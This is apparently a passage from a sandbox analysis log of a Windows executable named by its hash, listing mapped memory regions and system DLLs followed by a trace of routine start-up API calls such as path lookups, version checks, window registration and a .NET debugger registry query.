0x0 region_type = private name = "private_0x0000000002170000" filename = "" Region: id = 1409 start_va = 0x7fef2c60000 end_va = 0x7fef2da2fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.configuration.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Configuration\\091b931d0f6408001747dbbbb05dbe66\\System.Configuration.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\system.configuration\\091b931d0f6408001747dbbbb05dbe66\\system.configuration.ni.dll") Region: id = 1410 start_va = 0x1c050000 end_va = 0x1c14ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001c050000" filename = "" Region: id = 1411 start_va = 0x7fffff0c000 end_va = 0x7fffff0dfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff0c000" filename = "" Region: id = 1412 start_va = 0x7fefbb80000 end_va = 0x7fefbcabfff monitored = 0 entry_point = 0x7fefbb894bc region_type = mapped_file name = "propsys.dll" filename = "\\Windows\\System32\\propsys.dll" (normalized: "c:\\windows\\system32\\propsys.dll") Region: id = 1413 start_va = 0x400000 end_va = 0x401fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000400000" filename = "" Region: id = 1414 start_va = 0x420000 end_va = 0x420fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 1415 start_va = 0x7feff140000 end_va = 0x7feff1d8fff monitored = 0 entry_point = 0x7feff141c10 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 1416 start_va = 0x640000 end_va = 0x640fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000640000" filename = "" Region: id = 1417 start_va = 0x7fefb250000 end_va = 0x7fefb27cfff monitored = 0 entry_point = 0x7fefb251010 region_type = mapped_file name = "ntmarta.dll" filename = "\\Windows\\System32\\ntmarta.dll" (normalized: "c:\\windows\\system32\\ntmarta.dll") Region: id = 1418 start_va = 0x7fefd6d0000 end_va = 0x7fefd721fff monitored = 0 entry_point = 0x7fefd6d10d4 region_type = mapped_file name = "wldap32.dll" filename = "\\Windows\\System32\\Wldap32.dll" (normalized: "c:\\windows\\system32\\wldap32.dll") Region: id = 1419 start_va = 0x2230000 end_va = 0x2233fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "cversions.1.db" filename = "\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Windows\\Caches\\cversions.1.db" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\windows\\caches\\cversions.1.db") Region: id = 1420 start_va = 0x1adf0000 end_va = 0x1ae0cfff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "{afbf9f1a-8ee8-4c77-af34-c647e37ca0d9}.1.ver0x000000000000000b.db" filename = "\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Windows\\Caches\\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x000000000000000b.db" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\windows\\caches\\{afbf9f1a-8ee8-4c77-af34-c647e37ca0d9}.1.ver0x000000000000000b.db") Region: id = 1421 start_va = 0x1ae10000 end_va = 0x1ae10fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ae10000" filename = "" Region: id = 1422 start_va = 0x2230000 end_va = 0x2233fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "cversions.2.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\cversions.2.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\cversions.2.db") Region: id = 1423 start_va = 0x1b040000 end_va = 0x1b06ffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "{6af0698e-d558-4f6e-9b3c-3716689af493}.2.ver0x0000000000000015.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\{6AF0698E-D558-4F6E-9B3C-3716689AF493}.2.ver0x0000000000000015.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{6af0698e-d558-4f6e-9b3c-3716689af493}.2.ver0x0000000000000015.db") Region: id = 1424 start_va = 0x1ae20000 end_va = 0x1ae23fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "cversions.2.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\cversions.2.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\cversions.2.db") Region: id = 1425 start_va = 0x1b250000 end_va = 0x1b2b5fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "{ddf571f2-be98-426d-8288-1a9a39c3fda2}.2.ver0x0000000000000002.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\{DDF571F2-BE98-426D-8288-1A9A39C3FDA2}.2.ver0x0000000000000002.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{ddf571f2-be98-426d-8288-1a9a39c3fda2}.2.ver0x0000000000000002.db") Region: id = 1426 start_va = 0x1e3f0000 end_va = 0x1e4effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001e3f0000" filename = "" Region: id = 1427 start_va = 0x7fffff0a000 end_va = 0x7fffff0bfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff0a000" filename = "" Region: id = 1428 start_va = 0x7feff3b0000 end_va = 0x7feff586fff monitored = 0 entry_point = 0x7feff3b1010 region_type = mapped_file name = "setupapi.dll" filename = "\\Windows\\System32\\setupapi.dll" (normalized: "c:\\windows\\system32\\setupapi.dll") Region: id = 1429 start_va = 0x7fefd540000 end_va = 0x7fefd575fff monitored = 0 entry_point = 0x7fefd541474 region_type = mapped_file name = "cfgmgr32.dll" filename = "\\Windows\\System32\\cfgmgr32.dll" (normalized: "c:\\windows\\system32\\cfgmgr32.dll") Region: id = 1430 start_va = 0x7fefd580000 end_va = 0x7fefd599fff monitored = 0 entry_point = 0x7fefd581558 region_type = mapped_file name = "devobj.dll" filename = "\\Windows\\System32\\devobj.dll" (normalized: "c:\\windows\\system32\\devobj.dll") Region: id = 1431 start_va = 0x1ae30000 end_va = 0x1ae3cfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "setupapi.dll.mui" filename = "\\Windows\\System32\\en-US\\setupapi.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\setupapi.dll.mui") Region: id = 1432 start_va = 0x7fef9a90000 end_va = 0x7fef9ae6fff monitored = 0 entry_point = 0x7fef9a91118 region_type = mapped_file name = "apphelp.dll" filename = "\\Windows\\System32\\apphelp.dll" (normalized: "c:\\windows\\system32\\apphelp.dll") Region: id = 1433 start_va = 0x7fef7040000 end_va = 0x7fef7073fff monitored = 0 entry_point = 0x7fef7041890 region_type = mapped_file name = "shdocvw.dll" filename = "\\Windows\\System32\\shdocvw.dll" (normalized: "c:\\windows\\system32\\shdocvw.dll") Region: id = 1434 start_va = 0x1b1f0000 end_va = 0x1b1fdfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "propsys.dll.mui" filename = "\\Windows\\System32\\en-US\\propsys.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\propsys.dll.mui") Region: id = 1435 start_va = 0x1e2f0000 end_va = 0x1e3effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001e2f0000" filename = "" Region: id = 1436 start_va = 0x7fffff08000 end_va = 0x7fffff09fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff08000" filename = "" Region: id = 1437 start_va = 0x7fefdbb0000 end_va = 0x7fefdd27fff monitored = 0 entry_point = 0x7fefdbb10e0 region_type = mapped_file name = "urlmon.dll" filename = "\\Windows\\System32\\urlmon.dll" (normalized: "c:\\windows\\system32\\urlmon.dll") Region: id = 1438 start_va = 0x7fefee90000 end_va = 0x7fefefb9fff monitored = 0 entry_point = 0x7fefee910d4 region_type = mapped_file name = "wininet.dll" filename = "\\Windows\\System32\\wininet.dll" (normalized: "c:\\windows\\system32\\wininet.dll") Region: id = 1439 start_va = 0x7fefd950000 end_va = 0x7fefdba8fff monitored = 0 entry_point = 0x7fefd951340 region_type = mapped_file name = "iertutil.dll" filename = "\\Windows\\System32\\iertutil.dll" (normalized: "c:\\windows\\system32\\iertutil.dll") Region: id = 1440 start_va = 0x7fefd2c0000 end_va = 0x7fefd42cfff monitored = 0 entry_point = 0x7fefd2c10b4 region_type = mapped_file name = "crypt32.dll" filename = "\\Windows\\System32\\crypt32.dll" (normalized: "c:\\windows\\system32\\crypt32.dll") Region: id = 1441 start_va = 0x7fefd270000 end_va = 0x7fefd27efff monitored = 0 entry_point = 0x7fefd271020 region_type = mapped_file name = "msasn1.dll" filename = "\\Windows\\System32\\msasn1.dll" (normalized: "c:\\windows\\system32\\msasn1.dll") Region: id = 1442 start_va = 0x7fefd090000 end_va = 0x7fefd0b4fff monitored = 0 entry_point = 0x7fefd099658 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll") Region: id = 1443 start_va = 0x1b200000 end_va = 0x1b200fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b200000" filename = "" Region: id = 1444 start_va = 0x1e6a0000 end_va = 0x1e79ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001e6a0000" filename = "" Region: id = 1445 start_va = 0x7fffff06000 end_va = 0x7fffff07fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff06000" filename = "" Region: id = 1490 start_va = 0x1e7a0000 end_va = 0x1e99ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001e7a0000" filename = "" Region: id = 1540 start_va = 0x7feedf40000 end_va = 0x7feee5e4fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.xml.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Xml\\ee795155543768ea67eecddc686a1e9e\\System.Xml.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\system.xml\\ee795155543768ea67eecddc686a1e9e\\system.xml.ni.dll") Region: id = 1592 start_va = 0x7fef5ca0000 end_va = 0x7fef5d01fff monitored = 0 entry_point = 0x7fef5ca1198 region_type = mapped_file name = "rasapi32.dll" filename = "\\Windows\\System32\\rasapi32.dll" (normalized: "c:\\windows\\system32\\rasapi32.dll") Region: id = 1593 start_va = 0x7fef5c80000 end_va = 0x7fef5c9bfff monitored = 0 entry_point = 0x7fef5c811a0 region_type = mapped_file name = "rasman.dll" filename = "\\Windows\\System32\\rasman.dll" (normalized: "c:\\windows\\system32\\rasman.dll") Region: id = 1594 start_va = 0x7feff280000 end_va = 0x7feff2ccfff monitored = 0 entry_point = 0x7feff281070 region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\System32\\ws2_32.dll" (normalized: "c:\\windows\\system32\\ws2_32.dll") Region: id = 1595 start_va = 0x7fefed70000 end_va = 0x7fefed77fff monitored = 0 entry_point = 0x7fefed71504 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\System32\\nsi.dll" (normalized: "c:\\windows\\system32\\nsi.dll") Region: id = 1596 start_va = 0x7fefb280000 end_va = 0x7fefb290fff monitored = 0 entry_point = 0x7fefb2814c0 region_type = mapped_file name = "rtutils.dll" filename = "\\Windows\\System32\\rtutils.dll" (normalized: "c:\\windows\\system32\\rtutils.dll") Region: id = 1599 start_va = 0x7fefca60000 end_va = 0x7fefcab4fff monitored = 0 entry_point = 0x7fefca61054 region_type = mapped_file name = "mswsock.dll" filename = "\\Windows\\System32\\mswsock.dll" (normalized: "c:\\windows\\system32\\mswsock.dll") Region: id = 1600 start_va = 0x1c020000 end_va = 0x1c0cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001c020000" filename = "" Region: id = 1601 start_va = 0x7fefc460000 end_va = 0x7fefc466fff monitored = 0 entry_point = 0x7fefc4614b0 region_type = mapped_file name = "wshtcpip.dll" filename = "\\Windows\\System32\\WSHTCPIP.DLL" (normalized: "c:\\windows\\system32\\wshtcpip.dll") Region: id = 1602 start_va = 0x7fefca50000 end_va = 0x7fefca56fff monitored = 0 entry_point = 0x7fefca5142c region_type = mapped_file name = "wship6.dll" filename = "\\Windows\\System32\\wship6.dll" (normalized: "c:\\windows\\system32\\wship6.dll") Region: id = 1622 start_va = 0x1b210000 end_va = 0x1b22ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b210000" filename = "" Region: id = 1623 start_va = 0x1b230000 end_va = 0x1b230fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "tzres.dll" filename = "\\Windows\\System32\\tzres.dll" (normalized: "c:\\windows\\system32\\tzres.dll") Region: id = 1624 start_va = 0x1b2c0000 end_va = 0x1b2c6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "tzres.dll.mui" filename = "\\Windows\\System32\\en-US\\tzres.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\tzres.dll.mui") Region: id = 1628 start_va = 0x1b230000 end_va = 0x1b230fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "tzres.dll" filename = "\\Windows\\System32\\tzres.dll" (normalized: "c:\\windows\\system32\\tzres.dll") Region: id = 1629 start_va = 0x1b2c0000 end_va = 0x1b2c6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "tzres.dll.mui" filename = "\\Windows\\System32\\en-US\\tzres.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\tzres.dll.mui") Region: id = 1630 start_va = 0x1c0d0000 end_va = 0x1c18ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "kernelbase.dll.mui" filename = "\\Windows\\System32\\en-US\\KernelBase.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\kernelbase.dll.mui") Region: id = 1631 start_va = 0x1eab0000 end_va = 0x1ebaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001eab0000" filename = "" Region: id = 1632 start_va = 0x7fef9bc0000 end_va = 0x7fef9c30fff monitored = 0 entry_point = 0x7fef9bc1010 region_type = mapped_file name = "winhttp.dll" filename = "\\Windows\\System32\\winhttp.dll" (normalized: "c:\\windows\\system32\\winhttp.dll") Region: id = 1633 start_va = 0x7fffff0c000 end_va = 0x7fffff0dfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff0c000" filename = "" Region: id = 1634 start_va = 0x7fef9b50000 end_va = 0x7fef9bb3fff monitored = 0 entry_point = 0x7fef9b51254 region_type = mapped_file name = "webio.dll" filename = "\\Windows\\System32\\webio.dll" (normalized: "c:\\windows\\system32\\webio.dll") Region: id = 1637 start_va = 0x7fefacc0000 end_va = 0x7feface6fff monitored = 0 entry_point = 0x7fefacc98bc region_type = mapped_file name = "iphlpapi.dll" filename = "\\Windows\\System32\\IPHLPAPI.DLL" (normalized: "c:\\windows\\system32\\iphlpapi.dll") Region: id = 1638 start_va = 0x7fefacb0000 end_va = 0x7fefacbafff monitored = 0 entry_point = 0x7fefacb1198 region_type = mapped_file name = "winnsi.dll" filename = "\\Windows\\System32\\winnsi.dll" (normalized: "c:\\windows\\system32\\winnsi.dll") Region: id = 1639 start_va = 0x7fefa670000 end_va = 0x7fefa680fff monitored = 0 entry_point = 0x7fefa6716ac region_type = mapped_file name = "dhcpcsvc6.dll" filename = "\\Windows\\System32\\dhcpcsvc6.dll" (normalized: "c:\\windows\\system32\\dhcpcsvc6.dll") Region: id = 1640 start_va = 0x7fefa650000 end_va = 0x7fefa667fff monitored = 0 entry_point = 0x7fefa651bf8 region_type = mapped_file name = "dhcpcsvc.dll" filename = "\\Windows\\System32\\dhcpcsvc.dll" (normalized: "c:\\windows\\system32\\dhcpcsvc.dll") Region: id = 1643 start_va = 0x1e520000 end_va = 0x1e61ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001e520000" filename = "" Region: id = 1644 start_va = 0x7fffff04000 end_va = 0x7fffff05fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff04000" filename = "" Region: id = 1648 start_va = 0x7fefc8e0000 end_va = 0x7fefc93afff monitored = 0 entry_point = 0x7fefc8e6940 region_type = mapped_file name = "dnsapi.dll" filename = "\\Windows\\System32\\dnsapi.dll" (normalized: "c:\\windows\\system32\\dnsapi.dll") Region: id = 1649 start_va = 0x1ebb0000 end_va = 0x1ee0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ebb0000" filename = "" Region: id = 1653 start_va = 0x7fef8ed0000 end_va = 0x7fef8ed7fff monitored = 0 entry_point = 0x7fef8ed1414 region_type = mapped_file name = "rasadhlp.dll" filename = "\\Windows\\System32\\rasadhlp.dll" (normalized: "c:\\windows\\system32\\rasadhlp.dll") Region: id = 1654 start_va = 0x7fefa6a0000 end_va = 0x7fefa6f2fff monitored = 0 entry_point = 0x7fefa6a2b98 region_type = mapped_file name = "fwpuclnt.dll" filename = "\\Windows\\System32\\FWPUCLNT.DLL" (normalized: "c:\\windows\\system32\\fwpuclnt.dll") Region: id = 1655 start_va = 0x1e9a0000 end_va = 0x1ea6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001e9a0000" filename = "" Region: id = 1656 start_va = 0x7ff00230000 end_va = 0x7ff0023ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007ff00230000" filename = "" Region: id = 1657 start_va = 0x725d0000 end_va = 0x725d2fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "security.dll" filename = "\\Windows\\System32\\security.dll" (normalized: "c:\\windows\\system32\\security.dll") Region: id = 1658 start_va = 0x7fefd060000 end_va = 0x7fefd06afff monitored = 0 entry_point = 0x7fefd061030 region_type = mapped_file name = "secur32.dll" filename = "\\Windows\\System32\\secur32.dll" (normalized: "c:\\windows\\system32\\secur32.dll") Region: id = 1659 start_va = 0x7fefc6c0000 end_va = 0x7fefc6c9fff monitored = 0 entry_point = 0x7fefc6c3cb8 region_type = mapped_file name = "credssp.dll" filename = "\\Windows\\System32\\credssp.dll" (normalized: "c:\\windows\\system32\\credssp.dll") Region: id = 1660 start_va = 0x7fefc850000 end_va = 0x7fefc8a6fff monitored = 0 entry_point = 0x7fefc855e38 region_type = mapped_file name = "schannel.dll" filename = "\\Windows\\System32\\schannel.dll" (normalized: "c:\\windows\\system32\\schannel.dll") Region: id = 1672 start_va = 0x7fefcc60000 end_va = 0x7fefccaffff monitored = 0 entry_point = 0x7fefcc611e0 region_type = mapped_file name = "ncrypt.dll" filename = "\\Windows\\System32\\ncrypt.dll" (normalized: "c:\\windows\\system32\\ncrypt.dll") Region: id = 1673 start_va = 0x7fefcc30000 end_va = 0x7fefcc51fff monitored = 0 entry_point = 0x7fefcc35d30 region_type = mapped_file name = "bcrypt.dll" filename = "\\Windows\\System32\\bcrypt.dll" (normalized: "c:\\windows\\system32\\bcrypt.dll") Region: id = 1674 start_va = 0x7fefc700000 end_va = 0x7fefc74bfff monitored = 0 entry_point = 0x7fefc707950 region_type = mapped_file name = "bcryptprimitives.dll" filename = "\\Windows\\System32\\bcryptprimitives.dll" (normalized: "c:\\windows\\system32\\bcryptprimitives.dll") Region: id = 1675 start_va = 0x1eeb0000 end_va = 0x1efaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001eeb0000" filename = "" Region: id = 1676 start_va = 0x7fffff02000 end_va = 0x7fffff03fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff02000" filename = "" Region: id = 1677 start_va = 0x7fefc570000 end_va = 0x7fefc58dfff monitored = 0 entry_point = 0x7fefc5713b8 region_type = mapped_file name = "userenv.dll" filename = "\\Windows\\System32\\userenv.dll" (normalized: "c:\\windows\\system32\\userenv.dll") Region: id = 1688 start_va = 0x1efb0000 end_va = 0x1f3affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001efb0000" filename = "" Region: id = 1689 start_va = 0x7fefc550000 end_va = 0x7fefc56afff monitored = 0 entry_point = 0x7fefc552068 region_type = mapped_file name = "gpapi.dll" filename = "\\Windows\\System32\\gpapi.dll" (normalized: "c:\\windows\\system32\\gpapi.dll") Region: id = 2042 start_va = 0x1b230000 end_va = 0x1b239fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "crypt32.dll.mui" filename = "\\Windows\\System32\\en-US\\crypt32.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\crypt32.dll.mui") Region: id = 2229 start_va = 0x1b530000 end_va = 0x1b62ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b530000" filename = "" Region: id = 2230 start_va = 0x7fffffd5000 end_va = 0x7fffffd6fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd5000" filename = "" Region: id = 2231 start_va = 0x7fefd1b0000 end_va = 0x7fefd1c3fff monitored = 0 entry_point = 0x7fefd1b10e0 region_type = mapped_file name = "rpcrtremote.dll" filename = "\\Windows\\System32\\RpcRtRemote.dll" (normalized: "c:\\windows\\system32\\rpcrtremote.dll") Region: id = 2232 start_va = 0x1ec60000 end_va = 0x1ed5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ec60000" filename = "" Region: id = 2233 start_va = 0x1ed90000 end_va = 0x1ee0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ed90000" filename = "" Region: id = 2234 start_va = 0x7fffffd3000 end_va = 0x7fffffd4fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd3000" filename = "" Thread: id = 1 os_tid = 0xec0 [0076.322] CoInitializeEx (pvReserved=0x0, dwCoInit=0x2) returned 0x0 [0080.256] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\fc61c3cbae6f6926294861aded1750af4c5019daae532e531f35dd575071c87a.exe", nBufferLength=0x105, lpBuffer=0x15e2f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\fc61c3cbae6f6926294861aded1750af4c5019daae532e531f35dd575071c87a.exe", lpFilePart=0x0) returned 0x5f [0080.278] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\fc61c3cbae6f6926294861aded1750af4c5019daae532e531f35dd575071c87a.exe", nBufferLength=0x105, lpBuffer=0x15e230, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\fc61c3cbae6f6926294861aded1750af4c5019daae532e531f35dd575071c87a.exe", lpFilePart=0x0) returned 0x5f [0080.308] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\", nBufferLength=0x105, lpBuffer=0x15e140, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\", lpFilePart=0x0) returned 0x1b [0080.322] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\", nBufferLength=0x105, lpBuffer=0x15e330, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\", lpFilePart=0x0) returned 0x1b [0080.322] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\", nBufferLength=0x105, lpBuffer=0x15e230, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\", lpFilePart=0x0) returned 0x1b [0080.348] GetVersionExW (in: lpVersionInformation=0x15e290*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x15e290*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0080.353] GetVersionExW (in: lpVersionInformation=0x15e290*(dwOSVersionInfoSize=0x11c, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x15e290*(dwOSVersionInfoSize=0x11c, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0083.092] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Windows.Forms\\2.0.0.0__b77a5c561934e089\\System.Windows.Forms.dll", nBufferLength=0x105, lpBuffer=0x15e740, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Windows.Forms\\2.0.0.0__b77a5c561934e089\\System.Windows.Forms.dll", lpFilePart=0x0) returned 0x64 [0083.132] IsAppThemed () returned 0x1 [0083.139] CoTaskMemAlloc (cb=0xca) returned 0x4fc370 [0083.139] CreateActCtxA (pActCtx=0x15ebd8) returned 0x4f3c68 [0083.282] CoTaskMemFree (pv=0x4fc370) [0083.320] RegisterClipboardFormatW (lpszFormat="WM_GETCONTROLNAME") returned 0xc1ce [0083.320] RegisterClipboardFormatW (lpszFormat="WM_GETCONTROLTYPE") returned 0xc1cf [0083.646] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\fc61c3cbae6f6926294861aded1750af4c5019daae532e531f35dd575071c87a.exe", nBufferLength=0x105, lpBuffer=0x15d720, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\fc61c3cbae6f6926294861aded1750af4c5019daae532e531f35dd575071c87a.exe", lpFilePart=0x0) returned 0x5f [0084.785] GetVersionExW (in: lpVersionInformation=0x15c890*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x15c890*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0086.666] GetSystemMetrics (nIndex=75) returned 1 [0086.711] AdjustWindowRectEx (in: lpRect=0x15ea70, dwStyle=0x56cf0000, bMenu=0, dwExStyle=0x50001 | out: lpRect=0x15ea70) returned 1 [0086.716] GetCurrentProcess () returned 0xffffffffffffffff [0086.717] GetCurrentThread () returned 0xfffffffffffffffe [0086.717] GetCurrentProcess () returned 0xffffffffffffffff [0086.719] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xfffffffffffffffe, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x15e7e0, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x15e7e0*=0x18c) returned 1 [0086.726] GetCurrentThreadId () returned 0xec0 [0086.757] GetCurrentActCtx (in: lphActCtx=0x15e7f0 | out: lphActCtx=0x15e7f0*=0x0) returned 1 [0086.758] ActivateActCtx (in: hActCtx=0x4f3c68, lpCookie=0x15e830 | out: hActCtx=0x4f3c68, lpCookie=0x15e830) returned 1 [0086.763] lstrlenW (lpString="䅁") returned 1 [0086.767] GetModuleHandleW (lpModuleName="user32.dll") returned 0x77060000 [0086.768] GetACP () returned 0x4e4 [0086.784] CoTaskMemAlloc (cb=0x10) returned 0x50d690 [0086.784] GetProcAddress (hModule=0x77060000, lpProcName="DefWindowProcW") returned 0x772ab0ac [0086.785] CoTaskMemFree (pv=0x50d690) [0086.788] GetStockObject (i=5) returned 0x1900015 [0086.789] GetModuleHandleW (lpModuleName=0x0) returned 0x260000 [0086.789] CoTaskMemAlloc (cb=0x4c) returned 0x4ae7b0 [0086.789] RegisterClassW (lpWndClass=0x15e4d0) returned 0xc12d [0086.790] CoTaskMemFree (pv=0x4ae7b0) [0086.790] GetModuleHandleW (lpModuleName=0x0) returned 0x260000 [0086.791] CreateWindowExW (dwExStyle=0x0, lpClassName="WindowsForms10.Window.8.app.0.33c0d9d", lpWindowName=0x0, dwStyle=0x2010000, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0xfffffffffffffffd, hMenu=0x0, hInstance=0x260000, lpParam=0x0) returned 0x700a8 [0086.795] SetWindowLongPtrW (hWnd=0x700a8, nIndex=-4, dwNewLong=0x772ab0ac) returned 0x1fe175c [0086.798] GetWindowLongPtrW (hWnd=0x700a8, nIndex=-4) returned 0x772ab0ac [0086.803] lstrlenW (lpString="䅁") returned 1 [0086.808] GetVersionExW (in: lpVersionInformation=0x15c6b0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x15c6b0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0086.814] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\.NETFramework", ulOptions=0x0, samDesired=0x20019, phkResult=0x15d768 | out: phkResult=0x15d768*=0x194) returned 0x0 [0086.819] RegQueryValueExW (in: hKey=0x194, lpValueName="DbgJITDebugLaunchSetting", lpReserved=0x0, lpType=0x15d6ec, lpData=0x0, lpcbData=0x15d6e8*=0x0 | out: lpType=0x15d6ec*=0x0, lpData=0x0, lpcbData=0x15d6e8*=0x0) returned 0x2 [0086.820] RegQueryValueExW (in: hKey=0x194, lpValueName="DbgManagedDebugger", lpReserved=0x0, lpType=0x15d6ec, lpData=0x0, lpcbData=0x15d6e8*=0x0 | out: lpType=0x15d6ec*=0x0, lpData=0x0, lpcbData=0x15d6e8*=0x0) returned 0x2 [0086.821] RegCloseKey (hKey=0x194) returned 0x0 [0086.824] SetWindowLongPtrW (hWnd=0x700a8, nIndex=-4, dwNewLong=0x1fe17ac) returned 